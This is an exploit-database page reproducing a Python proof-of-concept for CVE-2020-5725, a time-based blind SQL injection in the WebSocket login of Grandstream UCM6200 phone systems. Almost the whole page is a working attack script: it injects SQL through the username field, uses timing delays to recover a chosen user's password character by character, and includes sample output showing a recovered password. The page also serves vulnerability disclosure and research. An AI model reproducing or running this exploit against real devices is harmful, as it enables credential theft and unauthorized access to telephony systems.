Share
## https://sploitus.com/exploit?id=PACKETSTORM:156976
# Exploit Title: Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection  
# Date: 2020-03-30  
# Exploit Author: Jacob Baines  
# Vendor Homepage: http://www.grandstream.com/  
# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware  
# Version: 1.0.20.20 and below  
# Tested on: Grandstream UCM6202 1.0.20.20  
# CVE : CVE-2020-5725  
# Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection Password Disclosure via Login (time based)  
# Advisory: https://www.tenable.com/security/research/tra-2020-17  
# Sample output:  
#  
# albinolobster@ubuntu:~$ python3 websockify_login_injection.py --rhost 192.168.2.1 --user lolwat  
# [+] Password length is 9  
# [+] Discovering password...  
# LabPass1%  
# [+] Done! The password is LabPass1%  
  
import sys  
import ssl  
import time  
import asyncio  
import argparse  
import websockets  
  
async def password_guess(ip, port, username):  
  
# the path to exploit  
uri = 'wss://' + ip + ':' + str(8089) + '/websockify'  
  
# no ssl verification  
ssl_context = ssl.SSLContext()  
ssl_context.verify_mode = ssl.CERT_NONE  
ssl_context.check_hostname = False  
  
# determine the length of the password. The timeout is 10 seconds...  
probably  
# way too long but whatever.  
length = 0  
while length < 100:  
async with websockets.connect(uri, ssl=ssl_context) as websocket:  
start = time.time()  
login =  
'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"'  
+ username + '\' AND LENGTH(user_password)==' + str(length) + ' AND  
88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or  
\'1\'=\'2","token":"lolwat"}}'  
await websocket.send(login)  
response = await websocket.recv()  
  
if (time.time() - start) < 5:  
length = length + 1  
continue  
else:  
break  
  
# if we hit max password length than we've done something wrong  
if (length == 100):  
print('[+] Couldn\'t determine the passwords length.')  
sys.exit(1)  
  
print('[+] Password length is', length)  
print('[+] Discovering password...')  
  
# Now that we know the password length, just guess each password byte  
until  
# we've reached the full length. Again timeout set to 10 seconds.  
password = ''  
while len(password) < length:  
value = 0x20  
while value < 0x80:  
if value == 0x22 or value == 0x5c:  
temp_pass = password + '\\'  
temp_pass = temp_pass + chr(value)  
else:  
temp_pass = password + chr(value)  
  
temp_pass_len = len(temp_pass)  
  
start = time.time()  
  
async with websockets.connect(uri, ssl=ssl_context) as  
websocket:  
challenge =  
'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"'  
+ username + '\' AND user_password LIKE \'' + temp_pass +'%\' AND  
substr(user_password,1,' + str(temp_pass_len) + ') = \'' + temp_pass + '\'  
AND 88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or  
\'1\'=\'2","token":"lolwat"}}'  
await websocket.send(challenge)  
response = await websocket.recv()  
  
if (time.time() - start) < 5:  
value = value + 1  
continue  
else:  
print('\r' + temp_pass, end='')  
password = temp_pass  
break  
  
if value == 0x80:  
print('')  
print('[-] Failed to determine the password.')  
sys.exit(1)  
  
print('')  
print('[+] Done! The password is', password)  
  
top_parser = argparse.ArgumentParser(description='')  
top_parser.add_argument('--rhost', action="store", dest="rhost",  
required=True, help="The remote host to connect to")  
top_parser.add_argument('--rport', action="store", dest="rport", type=int,  
help="The remote port to connect to", default=8089)  
top_parser.add_argument('--user', action="store", dest="user",  
required=True, help="The user to brute force")  
args = top_parser.parse_args()  
  
asyncio.get_event_loop().run_until_complete(password_guess(args.rhost,  
args.rport, args.user))